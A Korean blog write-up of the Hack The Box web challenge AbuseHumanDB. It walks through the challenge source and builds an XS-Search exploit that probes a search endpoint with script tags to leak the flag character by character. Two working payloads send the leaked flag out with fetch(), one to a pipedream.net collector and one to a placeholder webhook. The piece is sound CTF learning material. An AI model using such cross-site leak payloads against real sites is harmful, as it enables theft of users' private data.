ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [HTB] AbuseHumanDB Writeup
    Wargame/Hack The Box 2023. 4. 28. 13:42

     

     

    우선 플래그 획득 조건을 확인해보자.

    //database.js
    const sqlite = require('sqlite-async');
    
    class Database {
        constructor(db_file) {
            this.db_file = db_file;
            this.db = undefined;
        }
        
        async connect() {
            this.db = await sqlite.open(this.db_file);
        }
    
        async migrate() {
            return this.db.exec(`
                PRAGMA case_sensitive_like=ON; 
    
                DROP TABLE IF EXISTS userEntries;
    
                CREATE TABLE IF NOT EXISTS userEntries (
                    id          INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                    title       VARCHAR(255) NOT NULL UNIQUE,
                    url         VARCHAR(255) NOT NULL,
                    approved    BOOLEAN NOT NULL
                );
    
                INSERT INTO userEntries (title, url, approved) VALUES ("Back The Hox :: Cyber Catastrophe Propaganda CTF against Aliens", "https://ctf.backthehox.ew/ctf/82", 1);
                INSERT INTO userEntries (title, url, approved) VALUES ("Drunk Alien Song | Patlamaya Devam (official video)", "https://www.youtune.com/watch?v=jPPT7TcFmAk", 1);
                INSERT INTO userEntries (title, url, approved) VALUES ("Mars Attacks! Earth is invaded by Martians with unbeatable weapons and a cruel sense of humor.", "https://www.imbd.com/title/tt0116996/", 1);
                INSERT INTO userEntries (title, url, approved) VALUES ("Professor Steven Rolling fears aliens could ‘plunder, conquer and colonise’ Earth if we contact them", "https://www.thebun.co.uk/tech/4119382/professor-steven-rolling-fears-aliens-could-plunder-conquer-and-colonise-earth-if-we-contact-them/", 1);
                INSERT INTO userEntries (title, url, approved) VALUES ("HTB{f4k3_fl4g_f0r_t3st1ng}","https://app.backthehox.ew/users/107", 0);
                // ##### ............................................................. (1)
            `);
        }
    
        async listEntries(approved=1) {
        // ##### ................................................ (2)
            return new Promise(async (resolve, reject) => {
                try {
                    let stmt = await this.db.prepare("SELECT * FROM userEntries WHERE approved = ?");
                    resolve(await stmt.all(approved));
                } catch(e) {
                    console.log(e);
                    reject(e);
                }
            });
        }
    
        async getEntry(query, approved=1) {
        // ##### .............................................. (3)
            return new Promise(async (resolve, reject) => {
                try {
                    let stmt = await this.db.prepare("SELECT * FROM userEntries WHERE title LIKE ? AND approved = ?");
                    resolve(await stmt.all(query, approved));
                } catch(e) {
                    console.log(e);
                    reject(e);
                }
            });
        }
    
    }
    
    module.exports = Database;

    (1) 을 보면 플래그는 이미 데이터 베이스 초기 값에 저장되어있다. 다만, approved 값이 다른 데이터들과 다르게 0 으로 되어 있다.

    (2),(3) 과 같이 웹 서비스 상에서 데이터베이스가 호출될 때 approved=1 이 디폴트로 설정되어 있음을 알 수 있다.

    (구문들이 SQL Injection에 취약해보이지는 않아서 해당 시나리오는 배제했다)

     

    실제로 웹 상에서 DB조회 기능의 결과는 approved가 1인 요소들만 출력됨을 확인 할 수 있다.

     

    Index.js에서 database.js의 listEntries, getEntry 가 호출되는 로직을 살펴보면,

    //index.js
    const bot             = require('../bot');
    const path            = require('path');
    const express         = require('express');
    const router          = express.Router();
    
    const response = data => ({ message: data });
    const isLocalhost = req => ((req.ip == '127.0.0.1' && req.headers.host == '127.0.0.1:1337') ? 0 : 1);
    // ##### ........................................ (1)
    let db;
    
    router.get('/', (req, res) => {
    	return res.sendFile(path.resolve('views/index.html'));
    });
    
    router.get('/entries', (req, res) => {
    	return res.sendFile(path.resolve('views/entries.html'));
    });
    
    router.get('/api/entries', (req, res) => {
    	return db.listEntries(isLocalhost(req))
        // ###### .................................... (2)
    		.then(entries => {
    			res.json(entries);
    		})
    		.catch(() => res.send(response('Something went wrong!')));
    });
    
    router.post('/api/entries', (req, res) => {
    	const { url } = req.body;
    	if (url) {
    		uregex = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/
    		if (url.match(uregex)) {
    			return bot.visitPage(url)
    				.then(() => res.send(response('Your submission is now pending review!')))
    				.catch(() => res.send(response('Something went wrong! Please try again!')))
    		}
    		return res.status(403).json(response('Please submit a valid URL!'));
    	}
    	return res.status(403).json(response('Missing required parameters!'));
    });
    
    router.get('/api/entries/search', (req, res) => {
    	if(req.query.q) {
    		const query = `${req.query.q}%`;
    		return db.getEntry(query, isLocalhost(req))
            // ##### ............................................ (3)
    			.then(entries => {
    				if(entries.length == 0) return res.status(404).send(response('Your search did not yield any results!'));
    				res.json(entries);
    			})
    			.catch(() => res.send(response('Something went wrong! Please try again!')));
    	}
    	return res.status(403).json(response('Missing required parameters!'));
    });
    
    module.exports = database => {
    	db = database;
    	return router;
    };

    (2),(3) 과 같이 isLocalhost(req)의 값을 기반으로 approved 판별에 쓰일 값을 전달해줌을 알 수 있고,

    isLocalhost는 (1)과 같이 req.ip가 127.0.0.1 이어야 하며, req.header.host 값이 127.0.0.1:1337 이어야 한다.

     

    정리하면, 플래그는 내부 사용자로부터 웹 서비스 내의 DB 조회 기능(listEntries, getEntry)을 이용 했을 시 approved 값이 0 이 되므로 플래그 값을 조회 가능하다는 것이다.

    내부 사용자로부터 DB 조회를 유도하여 그 값을 확인하는 방법이 있는지를 염두해두며 분석을 이어나가 보자.

     

     

     

    메인 페이지에 URL을 입력하는 기능이 있는데, 입력한 URL에 대해 bot이 아래와 같이 방문한다.

     

    //bot.js
    const puppeteer = require('puppeteer');
    
    const browser_options = {
    	headless: true,
    	//headless: false,
    	args: [
    		'--no-sandbox',
    		'--disable-background-networking',
    		'--disable-default-apps',
    		'--disable-extensions',
    		'--disable-gpu',
    		'--disable-sync',
    		'--disable-translate',
    		'--hide-scrollbars',
    		'--metrics-recording-only',
    		'--mute-audio',
    		'--no-first-run',
    		'--safebrowsing-disable-auto-update',
    		'--js-flags=--noexpose_wasm,--jitless' // yoinking from strellic :sice:
    	]
    };
    
    const visitPage = async url => {
    	const browser = await puppeteer.launch(browser_options);
    
    	let context = await browser.createIncognitoBrowserContext();
    	let page = await context.newPage();
    
    	await page.goto(url, {
    		waitUntil: 'networkidle2'
    	});
    
    	await page.waitForTimeout(7000);
    	await browser.close();
    };
    
    module.exports = { visitPage };

    headless 브라우저로 입력받는 url에 접근 후 7초 뒤 브라우저를 종료시킨다는 내용이다. 

     

    bot 활용이 가능하므로,

    내 개인 서버에 접속한 사용자가 조회 기능(/api/entries/search) 을 실행하도록 하고 그 응답 데이터를 내 서버로 전달하도록 하는 스크립트를 작성 후 해당 URL을 bot이 접근하도록 해보았다.

     

    코드 작성후 테스트 해보았을때 CORS 제한 정책 때문에 실행되지는 않았지만, 우선 approved = 0 으로 인식은 되는지 확인이 필요했기 때문에 로컬에 문제 서버를 구축하여 테스트를 해보았고 의도한대로 req.ip와 req.header.host가 인식되는 것을 확인 할 수 있었다.

    // 참고 getResponse.jsp
    <script>
    const xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://209.97.131.43:30030/api/entries/search?q=aaaa');
    xhr.onload = function() {
      if (xhr.status === 404) {
        console.log('404 Error');
      } else {
        console.log(xhr.responseText);
      }
    };
    xhr.send();
    </script>

     

    문제는, bot이 내가 코드를 작성해놓은 서버에 접근 후 제공받은 스크립트를 실행시키게 되는 것이기 때문에 SOP를 만족하지 않아 브라우저에서 CORS 제한을 하므로 스크립트 코드가 작동하지 않아, 플래그를 탈취 할 수 없다는 점이었다.

     

    어떻게 우회 할까 이것 저것 해보다가.. 이용해봄직한 현상을 발견했다. 

    조회 기능에서 유효한 조회이면 200 OK 가 반환되지만, 결과 값이 없는 유효하지 않은 조회이면 404 Not Found 를 반환한다는 것이었다. 이 현상을 이용해서 XS-Leaks/XS-Search 기법을 이용하는 시나리오를 시도해 볼만 하다고 생각했다.

    문제는 200 OK 일 때와 404 Not Found 일 때를 어떻게 구별하냐였다.

    브라우저 콘솔 에러 메세지에 케이스 별로 net::ERR_FAILD 200 (OK) / net::ERR_FAILD 404 (Not Found) 가 구분되어 출력되긴 했지만 저 값을 따로 가져다 쓴다는 등, 해당 값을 기반으로 이후 스크립트 로직을 짤 수 없었다.

     

    어떻게 이 문제를 해결 할 까 하다가, html 태그 중 src를 사용하는 요소를 활용해서 src가 유효한 url이냐(응답 코드)에 따라서 구분지을 수 있는 방법이 있지 않을까 생각해보았다.

     

    여러 케이스를 테스트 해보기위해 아래와 같이 src 요소를 사용하는 html태그들 목록을 확인해 보았다.

        

    다른 태그들도 테스트를 해보았으나 잘 되지 않았고.. script 태그에서 아래와 같이 테스트를 해보니 onload를 할 때 에러 발생 유무로 구분을 지을 수 있음을 확인했다.

    <script>
    var script = document.createElement('script');
    script.src = 'http://209.97.131.43:30030/api/entries/search?q=Ba'; // 200 OK
    //script.src = 'http://209.97.131.43:30030/api/entries/search?q=Vardy'; // 400 Not Found
    
    script.onload = function() {
      console.log('200 OK');
    };
    
    script.onerror = function() {
      console.error('Not Found');
    };
    
    document.head.appendChild(script);
    
    </script>

     

    위 현상을 이용하여 플래그를 한 글자씩 조회하면서 onload가 성공 했을때 그 값을 개인 서버로 보내고, 플래그 값에 추가를 해주는 익스플로잇 코드를 작성했다.

    <script>
    var charList = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!}_";
    //var flag = "B" // not local user
    var flag = "HTB{" // locat user test
    //var flag = "HTB{5w33t_ali3ndr3n_0f_min3!"
    console.log('[*] FLAG = '+flag)
    
    //while(!flag.endsWith('x')){
      for (var i = 0; i < charList.length; i++) {
        (function (Index) {
        setTimeout(function() {
          var script = document.createElement('script');
          console.log(charList[Index])
          var reqUrl = 'http://127.0.0.1:1337/api/entries/search?q='+flag+charList[Index];
          script.src = reqUrl
    
          script.onload = function() {
            console.log('200 OK');
            flag += charList[Index];
            console.log(reqUrl)
            console.log("[*] FLAG = " +flag)
            fetch('https://eo92k973yrfg41e.m.pipedream.net/?FLAG='+flag)
          
          };
    
          script.onerror = function() {
            console.error('Not Found');
          };
    
          document.head.appendChild(script);
        
        }, 500);
      })(i)
    }
    </script>

    우선 해당 스크립트가 돌아가나 테스트를 해보았다. "Back The Hox"라는 키워드가 있어서, 초기 플래그를 "B"로 검색을 하면 Ba가 서버로 전송된다. 그 후 "Ba"로 재지정하여 시도하면 Bac가 서버로 전송되는 방식이다.

    ("_" 는 기본으로 허용되는 것 같다. 실제고 Bac_로 검색해도 유효하다.)

     

    이제 flag의 시작값을 "HTB{"로 수정 후 bot에게 해당 페이지에 접근을 시도하면 플래그값을 추출 할 수 있을 것이다.

    ...

    이렇게 한 글자가 추출될때마다 그 글자를 초기 플래그에 추가해주며 반복하면서 플래그를 추출했다.. 

    ...

     

    FLAG = HTB{5w33t_ali3ndr3n_0f_min3!}

     

     

     

    + 아무래도 한글자씩 찾는거보다 더 효율적인 방법이 있을 것 같아서 알아봤는데, 7초 동안만 실행되더라도 그 사이에 여러 문자를 뽑는 방법이 있었다. 

    https://skelter.hashnode.dev/htb-abusehumandb-writeup

     

    [HTB] AbuseHumandb writeup

    Afaik, this is the first publicly available writeup on this challenge. abusehumandb is a fun one on HackTheBox, but i wouldn’t rate it as “easy”, compared to other easy ones there. . . If you have any questions, leave a comment, but for now, i’d re

    skelter.hashnode.dev

    <html>
    <script>
    var ip = ‘127.0.0.1:1337’;
    var ip2 = ‘138.68.131.63:30644’;
    var hook = ‘your_web_page.com’;
    var flag = ‘HTB’;
    var abc = ‘-+!@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_’;
    var special = ‘_%\”\’’;
    var url1 = `http://${ip}/api/entries/search?q=`
    async function getPartialFlag(char){
     return new Promise((resolve, reject)=>{
     const script = document.createElement(“script”);
     script.src = url1+encodeURIComponent(flag+char);
     script.onload = () => char===’}’ ? reject(char):resolve(char);
     script.onerror = () => reject(char);
     document.head.appendChild(script);
     });
    }
    async function getFlag(chars) {
     var b = false; var char;
     for(var i=0; i < chars.length; i++){
     char = special.includes(chars[i]) ? ‘\\’+chars[i]:chars[i];
     await getPartialFlag(char).then((res) => {flag=flag.concat(res); b = res===’}’ ? true:false; i=0} , (res)=> { } );
     if(b) break;}
     fetch(`http://${hook}/flag=${flag}`, {method:’get’});
    };
    getFlag(abc);
    </script>
    <html>
    반응형

    'Wargame > Hack The Box' 카테고리의 다른 글

    [HTB] Diogenes' Rage Writeup  (0) 2023.05.04
    [HTB] Precious Writeup  (0) 2023.05.02
    [HTB] petite rcbee Writeup  (0) 2023.04.25
    [HTB] Toxic Writeup  (0) 2023.04.21
    [HTB] Inject Writeup  (1) 2023.04.19

    댓글

Designed by Tistory.